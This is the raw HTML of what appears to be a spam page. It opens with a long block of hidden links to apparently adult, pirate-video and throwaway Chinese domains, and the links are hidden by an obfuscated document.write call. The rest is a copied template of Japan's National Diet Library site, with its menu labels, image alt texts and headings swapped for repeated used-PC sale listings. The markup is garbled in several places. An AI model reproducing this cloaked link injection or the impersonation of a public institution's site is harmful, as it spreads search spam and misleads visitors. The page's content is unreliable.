<a class="z7z8z9z6" href="http://www.7578050.com/">http://www.7578050.com/</a>
<a class="z7z8z9z6" href="http://www.1206219.com/">http://www.1206219.com/</a>
<a class="z7z8z9z6" href="http://www.0320448.com/">http://www.0320448.com/</a>
<a class="z7z8z9z6" href="http://www.6038608.com/">http://www.6038608.com/</a>
<a class="z7z8z9z6" href="http://www.6804640.com/">http://www.6804640.com/</a>
<a class="z7z8z9z6" href="http://www.2393657.com/">http://www.2393657.com/</a>
<a class="z7z8z9z6" href="http://www.laibazonghewang.com/">http://www.laibazonghewang.com/</a>
<a class="z7z8z9z6" href="http://www.jiujiurezuixindizhi.com/">http://www.jiujiurezuixindizhi.com/</a>
<a class="z7z8z9z6" href="http://www.jiqingtupian8.com/">http://www.jiqingtupian8.com/</a>
<a class="z7z8z9z6" href="http://www.qmzufv.com/">http://www.qmzufv.com/</a>
<a class="z7z8z9z6" href="http://www.kwwxgj.com/">http://www.kwwxgj.com/</a>
<a class="z7z8z9z6" href="http://www.tvubqi.com/">http://www.tvubqi.com/</a>
<a class="z7z8z9z6" href="http://www.sjvxww.com/">http://www.sjvxww.com/</a>
<a class="z7z8z9z6" href="http://www.xpdmzk.com/">http://www.xpdmzk.com/</a>
<a class="z7z8z9z6" href="http://www.frveya.com/">http://www.frveya.com/</a>
<a class="z7z8z9z6" href="http://www.nonmnu.com/">http://www.nonmnu.com/</a>
<a class="z7z8z9z6" href="http://www.svytac.com/">http://www.svytac.com/</a>
<a class="z7z8z9z6" href="http://www.fdtggb.com/">http://www.fdtggb.com/</a>
<a class="z7z8z9z6" href="http://www.rnrnjm.com/">http://www.rnrnjm.com/</a>
<a class="z7z8z9z6" href="http://www.ymrxun.com/">http://www.ymrxun.com/</a>
<a class="z7z8z9z6" href="http://www.lkrecc.com/">http://www.lkrecc.com/</a>
<a class="z7z8z9z6" href="http://www.kgahjl.com/">http://www.kgahjl.com/</a>
<a class="z7z8z9z6" href="http://www.kqdmep.com/">http://www.kqdmep.com/</a>
<a class="z7z8z9z6" href="http://www.vwlwcu.com/">http://www.vwlwcu.com/</a>
<a class="z7z8z9z6" href="http://www.zuixinlunlidianying.com/">http://www.zuixinlunlidianying.com/</a>
<a class="z7z8z9z6" href="http://www.daxiangjiaowangzhi.com/">http://www.daxiangjiaowangzhi.com/</a>
<a class="z7z8z9z6" href="http://www.snnfi.com/">http://www.snnfi.com/</a>
<a class="z7z8z9z6" href="http://www.vfdyd.com/">http://www.vfdyd.com/</a>
<a class="z7z8z9z6" href="http://www.lwezk.com/">http://www.lwezk.com/</a>
<a class="z7z8z9z6" href="http://www.fpibm.com/">http://www.fpibm.com/</a>
<a class="z7z8z9z6" href="http://www.xjvdr.com/">http://www.xjvdr.com/</a>
<a class="z7z8z9z6" href="http://www.kvwqf.com/">http://www.kvwqf.com/</a>
<a class="z7z8z9z6" href="http://www.utakf.com/">http://www.utakf.com/</a>
<a class="z7z8z9z6" href="http://www.gmjeu.com/">http://www.gmjeu.com/</a>
<a class="z7z8z9z6" href="http://www.pugfa.com/">http://www.pugfa.com/</a>
<a class="z7z8z9z6" href="http://www.bldek.com/">http://www.bldek.com/</a>
<a class="z7z8z9z6" href="http://www.vdidu.com/">http://www.vdidu.com/</a>
<a class="z7z8z9z6" href="http://www.tufnc.com/">http://www.tufnc.com/</a>
<a class="z7z8z9z6" href="http://www.wqxri.com/">http://www.wqxri.com/</a>
<a class="z7z8z9z6" href="http://www.uaozz.com/">http://www.uaozz.com/</a>
<a class="z7z8z9z6" href="http://www.nhpbd.com/">http://www.nhpbd.com/</a>
<a class="z7z8z9z6" href="http://www.dinbz.com/">http://www.dinbz.com/</a>
<a class="z7z8z9z6" href="http://www.bopjc.com/">http://www.bopjc.com/</a>
<a class="z7z8z9z6" href="http://www.rvkip.com/">http://www.rvkip.com/</a>
<a class="z7z8z9z6" href="http://www.jsmqe.com/">http://www.jsmqe.com/</a>
<a class="z7z8z9z6" href="http://www.vwygx.com/">http://www.vwygx.com/</a>
<a class="z7z8z9z6" href="http://www.zgjm-org.com/">http://www.zgjm-org.com/</a>
<a class="z7z8z9z6" href="http://www.shenyangsiyue.com/">http://www.shenyangsiyue.com/</a>
<a class="z7z8z9z6" href="http://www.hongsang.net/">http://www.hongsang.net/</a>
<a class="z7z8z9z6" href="http://www.gpmrg.cc/">http://www.gpmrg.cc/</a>
<a class="z7z8z9z6" href="http://www.knfut.cc/">http://www.knfut.cc/</a>
<a class="z7z8z9z6" href="http://www.kjqdh.cc/">http://www.kjqdh.cc/</a>
<a class="z7z8z9z6" href="http://www.huang62.win/">http://www.huang62.win/</a>
<a class="z7z8z9z6" href="http://www.qiong19.win/">http://www.qiong19.win/</a>
<a class="z7z8z9z6" href="http://www.chang34.win/">http://www.chang34.win/</a>
<a class="z7z8z9z6" href="http://www.huang71.win/">http://www.huang71.win/</a>
<a class="z7z8z9z6" href="http://www.xiong10.win/">http://www.xiong10.win/</a>
<a class="z7z8z9z6" href="http://www.chong14.win/">http://www.chong14.win/</a>
<a class="z7z8z9z6" href="http://www.chong94.win/">http://www.chong94.win/</a>
<a class="z7z8z9z6" href="http://www.zheng23.win/">http://www.zheng23.win/</a>
<a class="z7z8z9z6" href="http://www.cheng14.win/">http://www.cheng14.win/</a>
<a class="z7z8z9z6" href="http://www.shang72.win/">http://www.shang72.win/</a>
<a class="z7z8z9z6" href="http://www.sudanj.win/">http://www.sudanj.win/</a>
<a class="z7z8z9z6" href="http://www.russias.win/">http://www.russias.win/</a>
<a class="z7z8z9z6" href="http://www.malim.win/">http://www.malim.win/</a>
<a class="z7z8z9z6" href="http://www.nigery.win/">http://www.nigery.win/</a>
<a class="z7z8z9z6" href="http://www.malix.win/">http://www.malix.win/</a>
<a class="z7z8z9z6" href="http://www.peruf.win/">http://www.peruf.win/</a>
<a class="z7z8z9z6" href="http://www.iraqq.win/">http://www.iraqq.win/</a>
<a class="z7z8z9z6" href="http://www.nepali.win/">http://www.nepali.win/</a>
<a class="z7z8z9z6" href="http://www.syriax.win/">http://www.syriax.win/</a>
<a class="z7z8z9z6" href="http://www.junnp.pw/">http://www.junnp.pw/</a>
<a class="z7z8z9z6" href="http://www.junnp.win/">http://www.junnp.win/</a>
<a class="z7z8z9z6" href="http://www.zanpianba.com/">http://www.zanpianba.com/</a>
<a class="z7z8z9z6" href="http://www.shoujimaopian.com/">http://www.shoujimaopian.com/</a>
<a class="z7z8z9z6" href="http://www.gaoqingkanpian.com/">http://www.gaoqingkanpian.com/</a>
<a class="z7z8z9z6" href="http://www.kuaibokanpian.com/">http://www.kuaibokanpian.com/</a>
<a class="z7z8z9z6" href="http://www.baidukanpian.com/">http://www.baidukanpian.com/</a>
<a class="z7z8z9z6" href="http://www.wwwren99com.top/">http://www.wwwren99com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwdgshunyuancom.top/">http://www.wwwdgshunyuancom.top/</a>
<a class="z7z8z9z6" href="http://www.xianfengziyuancom.top/">http://www.xianfengziyuancom.top/</a>
<a class="z7z8z9z6" href="http://www.www96yyxfcom.top/">http://www.www96yyxfcom.top/</a>
<a class="z7z8z9z6" href="http://www.www361dywnet.top/">http://www.www361dywnet.top/</a>
<a class="z7z8z9z6" href="http://www.wwwbambootechcc.top/">http://www.wwwbambootechcc.top/</a>
<a class="z7z8z9z6" href="http://www.wwwluoqiqicom.top/">http://www.wwwluoqiqicom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyyxfnrzcom.top/">http://www.wwwyyxfnrzcom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwzhengdadycom.top/">http://www.wwwzhengdadycom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyewaishengcuncom.top/">http://www.wwwyewaishengcuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwcong3win.top/">http://www.wwwcong3win.top/</a>
<a class="z7z8z9z6" href="http://www.wwwmh-oemcn.top/">http://www.wwwmh-oemcn.top/</a>
<a class="z7z8z9z6" href="http://www.henhen168com.top/">http://www.henhen168com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwhztuokuncom.top/">http://www.wwwhztuokuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyasyzxcn.top/">http://www.wwwyasyzxcn.top/</a>
<a class="z7z8z9z6" href="http://www.www9hkucom.top/">http://www.www9hkucom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwguokrcom.top/">http://www.wwwguokrcom.top/</a>
<a class="z7z8z9z6" href="http://www.avhhhhcom.top/">http://www.avhhhhcom.top/</a>
<a class="z7z8z9z6" href="http://www.shouyouaipaicom.top/">http://www.shouyouaipaicom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwdouyutvcom.top/">http://www.wwwdouyutvcom.top/</a>
<a class="z7z8z9z6" href="http://www.bbsptbuscom.top/">http://www.bbsptbuscom.top/</a>
<a class="z7z8z9z6" href="http://www.miphonetgbuscom.top/">http://www.miphonetgbuscom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwtjkunchengcom.top/">http://www.wwwtjkunchengcom.top/</a>
<a class="z7z8z9z6" href="http://www.lolboxduowancom.top/">http://www.lolboxduowancom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwtaoyuancncom.top/">http://www.wwwtaoyuancncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwngffwcomcn.top/">http://www.wwwngffwcomcn.top/</a>
<a class="z7z8z9z6" href="http://www.wwwqingzhouwanhecom.top/">http://www.wwwqingzhouwanhecom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwckyygcn.top/">http://www.wwwckyygcn.top/</a>
<a class="z7z8z9z6" href="http://www.wwwcdcjzcn.top/">http://www.wwwcdcjzcn.top/</a>
<a class="z7z8z9z6" href="http://www.m6downnet.top/">http://www.m6downnet.top/</a>
<a class="z7z8z9z6" href="http://www.msmzycom.top/">http://www.msmzycom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwcaobolcom.top/">http://www.wwwcaobolcom.top/</a>
<a class="z7z8z9z6" href="http://www.m3533com.top/">http://www.m3533com.top/</a>
<a class="z7z8z9z6" href="http://www.gmgamedogcn.top/">http://www.gmgamedogcn.top/</a>
<a class="z7z8z9z6" href="http://www.m289com.top/">http://www.m289com.top/</a>
<a class="z7z8z9z6" href="http://www.jcbnscom.top/">http://www.jcbnscom.top/</a>
<a class="z7z8z9z6" href="http://www.www99daocom.top/">http://www.www99daocom.top/</a>
<a class="z7z8z9z6" href="http://www.3gali213net.top/">http://www.3gali213net.top/</a>
<a class="z7z8z9z6" href="http://www.wwwmeidaiguojicom.top/">http://www.wwwmeidaiguojicom.top/</a>
<a class="z7z8z9z6" href="http://www.msz1001net.top/">http://www.msz1001net.top/</a>
<a class="z7z8z9z6" href="http://www.luyiluueappcom.top/">http://www.luyiluueappcom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwvcnnnet.top/">http://www.wwwvcnnnet.top/</a>
<a class="z7z8z9z6" href="http://www.wwwchaoaicaicom.top/">http://www.wwwchaoaicaicom.top/</a>
<a class="z7z8z9z6" href="http://www.mcnmocom.top/">http://www.mcnmocom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwqiuxia88com.top/">http://www.wwwqiuxia88com.top/</a>
<a class="z7z8z9z6" href="http://www.www5253com.top/">http://www.www5253com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwhaichuanwaiyucom.top/">http://www.wwwhaichuanwaiyucom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwulunarcn.top/">http://www.wwwulunarcn.top/</a>
<a class="z7z8z9z6" href="http://www.wwwvideo6868com.top/">http://www.wwwvideo6868com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwythmbxgcom.top/">http://www.wwwythmbxgcom.top/</a>
<a class="z7z8z9z6" href="http://www.gakaycom.top/">http://www.gakaycom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwhf1zcom.top/">http://www.wwwhf1zcom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwkrd17net.top/">http://www.wwwkrd17net.top/</a>
<a class="z7z8z9z6" href="http://www.qqav4444net.top/">http://www.qqav4444net.top/</a>
<a class="z7z8z9z6" href="http://www.www5a78com.top/">http://www.www5a78com.top/</a>
<a class="z7z8z9z6" href="http://www.hztuokuncom.top/">http://www.hztuokuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwqqqav7979net.top/">http://www.wwwqqqav7979net.top/</a>
<a class="z7z8z9z6" href="http://www.sscaoacom.top/">http://www.sscaoacom.top/</a>
<a class="z7z8z9z6" href="http://www.51yeyelu.info/">http://www.51yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.52luyilu.info/">http://www.52luyilu.info/</a>
<a class="z7z8z9z6" href="http://www.52yeyelu.info/">http://www.52yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.91yeyelu.info/">http://www.91yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.yeyelupic.info/">http://www.yeyelupic.info/</a>
<script>document.write ('</' + 'di' + 'v c' + 'l' + 'ass=' + '"' + 'z7z' + '8z9z' + '6' + '"' + '>');</script>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ja" lang="ja">
<head>
<meta http-equiv="content-language" content="ja" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="content-style-type" content="text/css" />
<meta http-equiv="content-script-type" content="text/javascript" />
<meta name="robots" content="index,follow,noodp,noydir" />
<meta name="Description" content="中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
,富士通(FUJITSU) DVDコンボ搭載 FMV-7160NU3 高性能 Pentium4 1.6GHz Office2010付属 3ヵ月保証(G36d)【中古パソコン】【即納】【gue5t65】,【即納】富士通(FUJITSU) FMV-D5230 メモリ1GB★ CeleronD-2.8Ghz搭載 新品マウス?新品キーボード付★ DVDマルチ 3ヶ月保証(Z06m)【中古デスクトップパソコン】【中古】!" />
<meta name="Keywords" content="中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
" />
<link href="http://ndl.go.jp/common/css/common.css" rel="stylesheet" type="text/css" media="all" />
<link href="http://ndl.go.jp/common/css/search.css" rel="stylesheet" type="text/css" media="all" />
<link href="http://www.google.com/cse/style/look/default.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="./hippo1224.js"></script>p-1332.html"
<link href="http://ndl.go.jp/common/css/re_top.css" rel="stylesheet" type="text/css" media="all" />
<link href="http://ndl.go.jp/common/css/re_print.css" rel="stylesheet" type="text/css" media="print" />
<link id="noscript" href="http://ndl.go.jp/common/css/noscript.css" rel="stylesheet" type="text/css" media="all" />
<title>中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
</title>
</head>
<body>
<div id="layout">
<!-- // hidden -->
<span class="hidden"><a name="pagetop">このページの先頭です。</a></span>
<!-- hidden // -->
<noscript>
<p>中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
,中古パソコン Windows7 富士通 FUJITSU FMV-D5340 Core2Duo メモリ2GB DVDマルチ HDD80GB 3ヵ月保証 Office (Z78m-7) 中古 デスクトップ 【中古】送料無料,【即納】 送料無料 【2008年発表モデル】TOSHIBA(東芝) Satellite K17 Core2Duo HDD【新品】500G★ メモリ2GB★ 15.4インチワイド★ 3ヶ月保証(P50) 中古パソコン 中古 ノートパソコン 【中古】!【TK-sspt】</p>
</noscript>
<div class="hidden"><p>以下のリンクより、本文、メニュー、サイドメニュー、サブメニュー(フッタ)、携帯向け来館案内または障害者サービスのページへジャンプができます。</p><p><a href="#contents_c">本文へジャンプ</a><a href="#gNavi">メニューへジャンプ</a><a href="#contents_l">サイドメニューへジャンプ</a><a href="#footer">サブメニュー(フッタ)へジャンプ</a> <br /><a href="/m/index.html">携帯向け来館案内へ</a><a href="http://ndl.go.jp//service/support.html">障害者サービスのページへ</a></p>
</div>
<!-- // header -->
<div id="header">
<div class="header_in">
<!-- // logo -->
<<img src="http://ko-blog.jp/resources/member/000/025/0000147/thumb/8q3Gyg2Y.jpg" alt=""> id="logo"><a href="/index.html"><img src="../images/logo.jpg" alt="中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
" /></a></<img src="http://ko-blog.jp/resources/member/000/025/0000147/thumb/8q3Gyg2Y.jpg" alt="">>
<!-- logo // -->
<!-- // commonNavi -->
<div id="commonNavi">
<ul>
<li><a href="http://ndl.go.jp/service/mobile.html">携帯向け来館案内</a></li>
<li><a href="http://ndl.go.jp/help/index.html">よくあるご質問</a></li>
<li><a href="http://ndl.go.jp/sitemap/index.html">サイトマップ</a></li>
</ul>
</div>
<!-- // hidden langage -->
<div id="hidden_commonNavi">
<ul>
<li><a href="http://ndl.go.jp/index.html"><span xml:lang="ja" lang="ja">日本語 (Japanese)</span></a></li>
<li><a href="http://ndl.go.jp/zh/index.html"><span xml:lang="zh" lang="zh">简体中文 (Chinese)</span></a></li>
<li><a href="http://ndl.go.jp/ko/index.html"><span xml:lang="ko" lang="ko">한국어 (Korean)</span></a></li>
<li><a href="http://ndl.go.jp/en/index.html"><span xml:lang="en" lang="en">English</span></a></li>
</ul>
</div>
<!-- commonNavi // -->
<!-- // search -->
<div id="search">
<div id="searchWindow">
<div id="cse-search-form" style="width: 100%;" class="blockNone">Loading</div>
<script type="text/javascript">
//<![CDATA[
setGcsNdl('ja');
//]]>
</script>
</div>
</div>
<!-- search // -->
</div>
</div>
<!-- header // -->
<!-- // gNavi -->
<div id="gNavi">
<div class="gNavi_in">
<ul>
<li><img src="http://ndl.go.jp/common/images/menu1-title.jpg" alt="利用案内" width="151" height="40" /></li>
<li><a href="http://ndl.go.jp/service/index.html"><img src="http://ndl.go.jp/common/images/menu1-01_off.jpg" alt="サービス概要" width="128" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/menu1-02_off.jpg" alt="中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
" width="100" height="40" class="changeImage" /></a></li>
<li><a href="http://ndl.go.jp/service/kansai/index.html"><img src="http://ndl.go.jp/common/images/menu1-03_off.jpg" alt="中古パソコン 【 Microsoft Office ( Word Excel )搭載】 [Windows XP] 富士通 FMV-D5250 Celeron420-1.6Ghz メモリ2GB HDD80GB [光学ドライブ無し] [17インチ液晶付] (Z24sL17of) 3ヵ月保証 中古デスクトップパソコン 送料無料 【中古】" width="85" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/menu1-04_off.jpg" alt="【即納】 送料無料 初心者セット?+PCソフトなび(学習CD)★日立 HITACHI FLORA 270W NB1【入門BOOK?USBメモリ(8G)?マウス?電子説明書付】メモリ1GB★ 3ヶ月保証(J24adpc) 中古パソコン 中古 ノートパソコン 【中古】!" width="140" height="40" class="changeImage" /></a></li>
<li><a href="http://ndl.go.jp/service/access.html"><img src="http://ndl.go.jp/common/images/menu1-05_off.jpg" alt="アクセス" width="90" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/menu1-06_off.jpg" alt="中古パソコン 中古ノートパソコン 【Windows XP】 東芝 Dynabook Satellite L41 Core i3-2.26Ghz メモリ2GB HDD160GB DVDROM Office 【2010年発表モデル】 (P90xWi) 3ヵ月保証 ノートパソコン 【中古】" width="115" height="40" class="changeImage" /></a></li>
<li><a href="http://ndl.go.jp/information/guide.html"><img src="http://ndl.go.jp/common/images/menu1-07_off.jpg" alt="登録利用者制度" width="141" height="40" class="changeImage" /></a></li>
</ul>
<ul>
<li><img src="http://ndl.go.jp/common/images/menu2-title.jpg" alt="オンラインサービス" width="169" height="40" /></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/menu2-01_off.jpg" alt="【即納】TOSHIBA(東芝) Satellite1860 DVDコンボ搭載 高性能P4 512MB Office2010付 3ヶ月保証 (L02)【中古ノートパソコン】【中古】【PC家電_118P2" width="128" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/menu2-02_off.jpg" alt="中古パソコン 【 Microsoft Office ( Word Excel )搭載】 富士通 FMV-A6290 Core2Duo-2.53Ghz メモリ2GB HDD80GB DVDROM MS Office (P58of) 3ヵ月保証 中古 ノートパソコン 送料無料 【中古】リフレッシュPC リサイクルPC" width="141" height="40" class="changeImage" /></a></li>
<li><a href="https://ndlopac.ndl.go.jp/"><img src="http://ndl.go.jp/common/images/menu2-03_off.jpg" alt="蔵書検索" width="128" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/menu2-04_off.jpg" alt="【即納】TOSHIBA(東芝) DVDマルチ Dynabook G9/X24PDCWT 768MB 大画面 無線LAN Blue Tooth 3ヶ月保証(K32)【中古パソコン】【PC家電_066P2】" width="128" height="40" class="changeImage" /></a></li>
<li><a href="http://ndl.go.jp/service/online_service.html#shirabekata"><img src="http://ndl.go.jp/common/images/menu2-05_off.jpg" alt="中古パソコン 中古ノートパソコン 【 Microsoft Office ( Word Excel )搭載】 【Windows XP】 東芝 Dynabook Satellite K17 CeleronM1.86Ghz メモリ2GB HDD60GB DVDコンボ (L63zxof) 3ヵ月保証 ノートパソコン 【中古】" width="128" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/menu2-06_off.jpg" alt="【即納】【外観訳ありの為、値下げ!!送料無料!!】富士通(FUJITSU) DVDコンボ搭載 FMV-820NUB C-2.4G メモリ512MB KingsoftOffice2010付属 3ヶ月保証(K97dw3)【中古パソコン】【中古】!" width="128" height="40" class="changeImage" /></a></li>
</ul>
</div>
</div>
<!-- gNavi // -->
<div id="contentsbody">
<!-- // contents_l -->
<div id="contents_l">
<div class="contents_search_con">
<h2><a href="http://iss.ndl.go.jp/"><img src="http://ndl.go.jp/common/images/title_ndl-opac.jpg" alt="中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
" width="230" height="40" class="changeImage" /></a></h2>
<form id="siteSearch_top" name="siteSearch_top" class="contents_search_bt clearAfter" action="javascript:getNdlsearch_top('ja','other');">
<label for="ndlsearchbox_top" class="hidden">検索文字入力</label>
<input id="ndlsearchbox_top" type="text" class="contents_searchKeyword" value="キーワードを入力" />
<input type="image" class="changeImage" id="submit_top" value="検索" src="http://ndl.go.jp/common/images/bt_search-b2_off.gif" alt="検索" />
</form>
<p>【即納】初心者セット?+PCソフトなび(学習CD)★富士通(FUJITSU) FMV-820NA【入門BOOK?USBメモリ(4G)?マウス?電子説明書付】DVDマルチ(DVDもCDも、再生?コピーOK★) 高性能P4 Office 3ヵ月保証(L87mpc)【中古パソコン】【中古】</p>
</div>
<div class="Information">
<h2>【即納】 送料無料 【★マイクロソフトオフィス(Word?Excel)付セット★】富士通 ESPRIMO FMV D5120 17インチ液晶モニター付★ Sempron 3000+ 新品マウス?新品キーボード付★ 3ヶ月保証(Z58L17of)【中古デスクトップパソコン】【中古】!</h2>
<ul>
<li><a href="http://factory.aedew.com/images/Core2Duo/020411051g57pq.html">http://factory.aedew.com/images/Core2Duo/020411051g57pq.html</a></li>
<li><a href="">【即納】TOSHIBA(東芝) DVDマルチ搭載 Dynabook Satellite J61 C/M 大画面 Office 3ヶ月保証(J70)【中古パソコン】【中古】!</a></li>
<li><a href="http://ndl.go.jp/aboutus/deposit/deposit.html" onclick="javascript:urchinTracker('/side/nouhon.html');">中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
</a> / <a href="" onclick="javascript:urchinTracker('/side/jnb.html');">中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
</a></li>
<li><a href="http://factory.aedew.com/images/Core2Duo/020410577s48er.html">http://factory.aedew.com/images/Core2Duo/020410577s48er.html</a></li>
<li><a href="http://ndl.go.jp/service/rssemag.html#RSS" onclick="javascript:urchinTracker('/side/rss.html');">RSS</a> / <a href="http://ndl.go.jp/service/rssemag.html#MM" onclick="javascript:urchinTracker('/side/mm.html');">メルマガ</a> / <a href="http://ndl.go.jp//service/rssemag.html#API" onclick="javascript:urchinTracker('/side/api.html');">API</a> / <a href="http://ndl.go.jp//service/rssemag.html#Twitter" onclick="javascript:urchinTracker('/side/twitter.html');">Twitter</a></li>
</ul>
</div><div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_archive.png" alt="中古パソコン NEC VersaPro VY21G/W-5 Windows7 Core2Duo T8100-2.1Ghz メモリ4GB HDD80GB DVDROM MS Office (P24-7) 3ヵ月保証 中古 ノートパソコン 送料無料 【中古】" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_kaigiroku.gif" alt="中古パソコン 【 Microsoft Office ( Word Excel )搭載】 DELL Vostro230 Windows7 Pentium E5400-2.7Ghz メモリ2GB HDD320GB DVDマルチ [17インチ液晶] (R21mL17of) 3ヵ月保証 中古デスクトップ 送料無料 【中古】リフレッシュPC リサイクルPC" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_ndl_opac.gif" alt="中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_digi.gif" alt="中古パソコン 17インチ液晶付 NEC MY21A/E-3 Core2Duo-2.13Ghz メモリ2GB HDD320GB DVDマルチ Office (R03mL17) 3ヵ月保証 中古 デスクトップ 送料無料 【中古】" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_kindai.gif" alt="【訳ありの為価格見直し商品】中古パソコン Windows7 Professional 富士通 LIFEBOOK A550/A Core i5 520M-2.4Ghz メモリ2GB HDD160GB 15.6ワイド液晶 DVDマルチ Office 3ヵ月保証 (P74mw) 中古ノートパソコン 送料無料 【中古】リフレッシュPC" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_research.gif" alt="リサーチ・ナビ" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_reference.gif" alt="中古パソコン 【無線LAN内臓】 NEC Versapro VY17M/ED-1 CeleronM-1.73Ghz メモリ1GB HDD80GB DVDマルチ ワイド液晶 Office (P34z-7Wi) 3ヵ月保証 中古 ノートパソコン 送料無料 【中古】" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_hourei.gif" alt="日本法令索引" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/bnr_kids.jpg" alt="【即納】 送料無料 初心者セット?+年中無休!!24時までOK!!の電話サポート付きセット★富士通 FMV-C8220【入門BOOK?USBメモリ(8G)?マウス?電子説明書付】DVDコンボ(DVD再生とCDのコピー再生ok)★ Office 3ヶ月保証(P06zre)【中古】" width="220" height="44" /></a></div>
<div class="contents_banner_big"><a href=""><img src="http://ndl.go.jp/common/images/banner_ca.gif" alt="中古パソコン 【訳あり】 富士通 FMV-A6290 Windows7 Celeron900-2.2Ghz メモリ1GB HDD80GB DVDROM (P58zw) 3ヵ月保証 中古ノートパソコン 送料無料 【中古】リフレッシュPC リサイクルPC" width="230" height="40" /></a></div>
<hr /><br />
<div class="contents_banner"><a href="" onclick="javascript:urchinTracker('/banner/jikocho.html');"><img src="http://ndl.go.jp/common/images/banner_jikocho.gif" alt="【即納】TOSHIBA(東芝) オールインワン Dynabook SatelliteJ30 512MB(増設) P/M-1.4G リカバリ内蔵 大画面 Office2010付属(J53)【中古パソコン】【中古】!" width="230" height="40" /></a></div>
</div>
<!-- contents_l // -->
<!-- // contents_c -->
<div id="contents_c">
<div class="emergency clearAfter">
<div class="emergency_tit2">
<h2>中古 特別セール&新品無線マウスプレゼント特典 中古ノートパソコン Gateway W340UA /AMD Sempron 3200+ 1.6GHz/PC2-5300 2GB/HDD 40GB/DVDマルチドライブ/WindowsXP Home Edition導入済み/OFFICE2013付き!
